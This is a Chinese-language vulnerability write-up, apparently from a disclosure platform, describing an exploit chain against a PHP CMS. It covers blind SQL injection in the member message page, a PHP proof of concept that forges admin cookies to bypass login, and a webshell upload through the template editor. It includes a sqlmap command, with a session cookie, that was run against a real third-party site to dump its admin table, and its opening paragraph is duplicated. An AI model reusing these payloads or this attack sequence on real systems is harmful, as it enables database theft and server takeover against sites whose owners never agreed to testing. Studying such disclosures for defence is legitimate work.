### 简要描述: SQL绕过双重保险再注射+无需解MD5后台认证绕过(同时绕过了安装时写在config文件里的验证码)+后台GETSHELL 无论从技术难度还是危害讨论,均已到达最高RANK了吧 实例演示的站点为官方主页链接过去的 www.26yy.com GETSHELL由于对服务器文件有影响,只在本机127.0.0.1演示 详细源码分析,漏洞证明截图各见下文相应区域 ### 详细说明: 第一步: 分析: 本CMS使用自定义CS_Request过滤所有GET和POST 比如: $id=CS_Request("id"); ``` function CS_Request($pi_strName) { set_magic_quotes_runtime(0); //明显要用addslashes $magic= get_magic_quotes_gpc(); if ( isset($_GET[$pi_strName]) ){ $t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName])); }else if ( isset($_POST[$pi_strName])){ $t_Val = $magic?trim($_POST[$pi_strName]):addslashes(trim($_POST[$pi_strName])); }else{ return ''; } return uhtml($t_Val); } ``` 结论:本CMS使用addslashes对输入进行过滤 /user/member/skin_msg.php line:128 ``` if(!empty($id)){ //id不能为空 $row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'"); //上面这一句里id带上了引号,加上addslashes完全无法注射 //上面这一句的目的是 防止 非法数据起作用,先判断能否避免注射并且正常执行 if($row){//如果$row为真,即上一SQL成功执行并返回,则通过判定 $db->query("update ".Getdbname('xiaoxi')."...
### 简要描述: SQL绕过双重保险再注射+无需解MD5后台认证绕过(同时绕过了安装时写在config文件里的验证码)+后台GETSHELL 无论从技术难度还是危害讨论,均已到达最高RANK了吧 实例演示的站点为官方主页链接过去的 www.26yy.com GETSHELL由于对服务器文件有影响,只在本机127.0.0.1演示 详细源码分析,漏洞证明截图各见下文相应区域 ### 详细说明: 第一步: 分析: 本CMS使用自定义CS_Request过滤所有GET和POST 比如: $id=CS_Request("id"); ``` function CS_Request($pi_strName) { set_magic_quotes_runtime(0); //明显要用addslashes $magic= get_magic_quotes_gpc(); if ( isset($_GET[$pi_strName]) ){ $t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName])); }else if ( isset($_POST[$pi_strName])){ $t_Val = $magic?trim($_POST[$pi_strName]):addslashes(trim($_POST[$pi_strName])); }else{ return ''; } return uhtml($t_Val); } ``` 结论:本CMS使用addslashes对输入进行过滤 /user/member/skin_msg.php line:128 ``` if(!empty($id)){ //id不能为空 $row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'"); //上面这一句里id带上了引号,加上addslashes完全无法注射 //上面这一句的目的是 防止 非法数据起作用,先判断能否避免注射并且正常执行 if($row){//如果$row为真,即上一SQL成功执行并返回,则通过判定 $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'"); //上面这一句里id没有带引号,如果前面无限制(第一句判定通过的话)应该可以盲注 //与以下语句无关,继续 if($row['CS_Userb']=='系统消息'){ $logo=piclink('logo',''); $link='#'; }else{ $us=$db->getrow("select * from ".Getdbname('user')." where CS_Name='".$row['CS_Userb']."'"); $logo=piclink('logo',$us['CS_Logo']); $link=userlink('index',$us['CS_ID']); } ``` //漏洞出在防注射的检测上(第一句) $row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'"); if($row){ …… $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'"); //正常情况下第一句语句执行如下,$row为true,继续执行第二句 直接mysql控制台语句执行是这样的 [<img src="https://images.seebug.org/upload/201312/03183410207b1f41d12fad23a256076580b5bee0.jpg" alt="mysql1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03183410207b1f41d12fad23a256076580b5bee0.jpg) 成功返回,因此可以继续 //但是在加入注入语句时,虽然没有引发注射,但是$row仍然为true //因为单引号的作用是CAST VARCHAR TO INT,类似intval尽力从起始位置恢复一个整数,而不会报错终止,这样的话只要第一个数字正确存在,$row就会为true,语句将会继续执行 [<img src="https://images.seebug.org/upload/201312/0318354241902cde0f57ee57a29a315f3d382d76.jpg" alt="mysql2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0318354241902cde0f57ee57a29a315f3d382d76.jpg) 成功返回了!仍然会继续! //到达第二个语句时由于id没有单引号保护,所以引发了注射(但是addslashes仍然起着作用,所以只能依靠盲注) $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'"); 登陆网站注册用户(本CMS的主要功能都强制要求注册使用,因此开放注册是必须的!) [<img src="https://images.seebug.org/upload/201312/03183725f31160fd3d8932abcb604ec61efa9c44.jpg" alt="inject normal.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03183725f31160fd3d8932abcb604ec61efa9c44.jpg) 由于注射点在用户中心里面(外面可能也有,不过我分析的代码在用户中心里,所以就此演示了) HAVIJ 一定记着 load cookie,SQLMAP记着 –cookie参数 [<img src="https://images.seebug.org/upload/201312/031838447d54cacb41f50da1962d92a160f13079.jpg" alt="HavijInject.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/031838447d54cacb41f50da1962d92a160f13079.jpg) 参数:MYSQL-TIME-BASED INTEGER 请大家使用sqlmap,sqlmap示例在漏洞证明里对躺枪的26yy用了一下…… 成功注射如下图 [<img src="https://images.seebug.org/upload/201312/031840059adbb7b2443772be32f8c0e0d9685579.jpg" alt="HavijInjectResult.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/031840059adbb7b2443772be32f8c0e0d9685579.jpg) 注意图中的CS_QUANX是有值的,只是Havij 格式 BUG 没显示出来,还是SQLMAP比较靠谱,不过在本次漏洞挖掘中,只需要显示的三项就够了(后来发现sqlmap能跑出来,大家都用sqlmap吧) //注射可以获取数据库内容,尤其是CS_AdminPass,不过这样是不够的,因为即使你能解MD5,也过不了admin登录时的验证码(验证码安装时写死在config.php里面了,注射获取不到,虽然才4位,暴力的话有悖于原则) 第一步 注射 完毕 第二步: 每一个admin下面的文件都包含loginstate.php 看来是用来验证身份 /admin/loginstate.php 开头没几行 ``` if(empty($_COOKIE['CS_AdminID'])){ //COOKIE我们能控制 die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>"); }elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){ //COOKIE我们能控制 die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>"); }else{ global $db; $rowa=$db->getrow("SELECT * FROM ".Getdbname('admin')." Where CS_ID='".$_COOKIE['CS_AdminID']."'"); //根据COOKIE里的admin id取数据 if($rowa){ if($rowa['CS_AdminName']!=$_COOKIE['CS_AdminUserName'] || md5($rowa['CS_AdminPass'])!=$_COOKIE['CS_AdminPassWord']){ //将取出的数据与COOKIE中数据比较,注意这里pass反向又用了md5,看来安全意识还是蛮高的,只是追求安全还用COOKIE这有点儿奇怪,到这里我们由注射拿到了CS_AdminName和CS_AdminPass,因此可以伪造COOKIE进后台了 //与以下代码无关 die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>"); } }else{ die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>"); } } ``` //伪造身份POC ``` <?php $CS_AdminID=1; $CS_AdminUserName='admin'; $CS_AdminPass='5f4dcc3b5aa765d61d8327deb882cf99'; $CS_Quanx='1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4'; $CS_AdminPassWord=md5($CS_AdminPass); $CS_Login=md5($CS_AdminID.$CS_AdminUserName.$CS_AdminPassWord.$CS_Quanx); echo 'CS_Quanx='.$CS_Quanx.' '; echo 'CS_AdminUserName='.$CS_AdminUserName.' '; echo 'CS_AdminPassWord='.$CS_AdminPassWord.' '; echo 'CS_Login='.$CS_Login.' '; ?> ``` //直接将前三项改为注射结果即可,$CS_Quanx应该固定为示例字符串即可无需改动 将提示出来的COOKIE分项添加进firefox即可,或者其他自己喜欢的方法均可 懒得做js脚本了,这个POC凑合着测试吧 [<img src="https://images.seebug.org/upload/201312/0318421156cf8c01fa6b839ebdf290b0ed3a9e5c.jpg" alt="pocPhp.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0318421156cf8c01fa6b839ebdf290b0ed3a9e5c.jpg) [<img src="https://images.seebug.org/upload/201312/03184234b9ebf1fcbd4e6dc7f8e38d7185b8c4ed.jpg" alt="setCookie.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03184234b9ebf1fcbd4e6dc7f8e38d7185b8c4ed.jpg) 提示:这里的CS_AdminPassWord为数据库pass的再次md5值,当初审代码时没注意,走了点弯路 设置好COOKIE直接进入后台即可,直接不登陆,访问图中后台url [<img src="https://images.seebug.org/upload/201312/031843306f10053cc45fe35c613675cae6a0948d.jpg" alt="intoBack.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/031843306f10053cc45fe35c613675cae6a0948d.jpg) 第二步 绕过 进入后台 成功 第三步: 在模板-模板管理里面 选择 第一个默认自带模板 编辑 [<img src="https://images.seebug.org/upload/201312/0318441632086ca3e6d869ae2d4a855cc25bc9a0.jpg" alt="get1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0318441632086ca3e6d869ae2d4a855cc25bc9a0.jpg) [<img src="https://images.seebug.org/upload/201312/031844340cb559113cfbe55d4fcee1aad0f13577.jpg" alt="get2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/031844340cb559113cfbe55d4fcee1aad0f13577.jpg) 随便选一个进行编辑,能改扩展名(我选的第二个,呵呵,已经暴露了,上面图里我已经改完一个了) [<img src="https://images.seebug.org/upload/201312/0318451864346bea545e7f86155be67fe32f87de.jpg" alt="get3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0318451864346bea545e7f86155be67fe32f87de.jpg) //既然我目前用的是WINDOWS,不妨上个菜刀吧 [<img src="https://images.seebug.org/upload/201312/03184538a48c0c19492e9faad2b1e0fd50c786ed.jpg" alt="shell.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03184538a48c0c19492e9faad2b1e0fd50c786ed.jpg) 第三步 GETSHELL 完成 到此分析完毕 下面是实站演示 ### 漏洞证明: www.26yy.com 躺枪了 感谢它的被无私奉献 ``` sqlmap.py -u "http://www.26yy.com/user/space.php?ac=msg&op=look&id=423" --cookie="CS_LoginIP=219.234.5.254; cs_id=1725; cs_name=lxj616; PHPSESSID=d44lfco4nshi8tum05oakco4b7; AJSTAT_ok_pages=3; AJSTAT_ok_times=1" --dbms=mysql -p "id" --dump -C "CS_ID,CS_AdminName,CS_AdminPass,CS_Quanx" -T "cs_admin" -D "lxp922" ``` [<img src="https://images.seebug.org/upload/201312/03184636244c7c2273be458f66a031eb21d71a29.jpg" alt="26_pre.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03184636244c7c2273be458f66a031eb21d71a29.jpg) [<img src="https://images.seebug.org/upload/201312/0318464580837b0a7f2d3ddc64a5813cb1321be2.jpg" alt="26.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/0318464580837b0a7f2d3ddc64a5813cb1321be2.jpg) 由于GETSHELL会对服务器造成确切的危害,因此只演示注射好吧~ 下面是上面详细分析中本机测试的截图(绕过+GETSHELL) [<img src="https://images.seebug.org/upload/201312/03184234b9ebf1fcbd4e6dc7f8e38d7185b8c4ed.jpg" alt="setCookie.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03184234b9ebf1fcbd4e6dc7f8e38d7185b8c4ed.jpg) [<img src="https://images.seebug.org/upload/201312/031843306f10053cc45fe35c613675cae6a0948d.jpg" alt="intoBack.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/031843306f10053cc45fe35c613675cae6a0948d.jpg) [<img src="https://images.seebug.org/upload/201312/03184538a48c0c19492e9faad2b1e0fd50c786ed.jpg" alt="shell.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/03184538a48c0c19492e9faad2b1e0fd50c786ed.jpg)